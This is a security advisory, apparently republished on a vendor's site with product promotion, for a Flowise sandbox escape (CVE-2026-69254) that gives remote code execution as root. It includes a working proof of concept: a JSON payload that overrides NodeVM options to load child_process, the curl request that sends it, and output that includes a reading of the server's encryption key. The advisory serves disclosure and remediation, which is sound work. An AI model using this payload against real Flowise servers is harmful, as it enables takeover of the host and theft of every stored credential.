Summary
Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the
default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.
Details
The vulnerability is in packages/components/src/utils.ts at line 1755:
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist, blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}
The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)
Taint 02: Controller
executeCustomFunction() passes req.body to service, packages/server/src/controllers/nodes/index.ts (line 90)
Taint 03: Service
executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction, packages/server/src/utils/executeCustomNodeFunction.ts (line 49)
Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode(), packages/components/src/utils.ts (line 1760)
Taint 05: Escape
Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself
Taint 06: Override
The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }
Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.
PoC
Step 1: Start Flowise
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}
Step 2: Obtain Bearer Token
Register an account, then create an API key:
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key, this is the Bearer token used below.
Step 3: Create Payload
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOF
Step 4: Exploit
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
Impact
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent
access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
flowise to 3.1.3 or later; flowise-components to 3.1.3 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-69254? CVE-2026-69254 is a critical-severity code injection vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3. Untrusted input is evaluated as executable code within the application's runtime environment.
- Which packages are affected by CVE-2026-69254?
flowise(npm) (versions <= 3.1.2)flowise-components(npm) (versions <= 3.1.2)
- Is there a fix for CVE-2026-69254? Yes. CVE-2026-69254 is fixed in 3.1.3. Upgrade to this version or later.
- Is CVE-2026-69254 exploitable, and should I be worried? Whether CVE-2026-69254 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-69254 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-69254?
- Upgrade
flowiseto 3.1.3 or later - Upgrade
flowise-componentsto 3.1.3 or later
- Upgrade